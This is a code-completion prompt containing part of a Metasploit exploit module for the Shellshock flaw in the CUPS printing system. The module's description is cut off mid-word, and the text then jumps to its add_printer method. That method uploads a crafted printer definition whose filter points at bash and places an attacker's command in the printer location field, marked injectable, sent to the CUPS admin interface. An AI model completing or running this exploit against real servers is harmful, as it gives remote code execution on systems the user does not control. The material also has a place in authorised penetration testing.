You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: cups_bash_env_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CUPS Filter Bash Environment Variable Code Injection (Shellshock)',
      'Description' => %q{
        This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
        handles e
    
  def add_printer(printer_name, cmd)
    vprint_status("Adding new printer '#{printer_name}'")

    ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
    ppd_file = <<-EOF
*PPD-Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"

*DefaultOutputOrder: Reverse
*%==== Media Selection ======================

*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4:				"<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter:			"<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF

    pd = Rex::MIME::Message.new
    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
    pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
    pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
    pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
    pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
    pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
    pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

    data = pd.to_s
    data.strip!

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'ctype' => "multipart/form-data; boundary=#{pd.bound}",
      'data' => data,
      'cookie' => "org.cups.sid=#{@cookie};",
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
    )
  end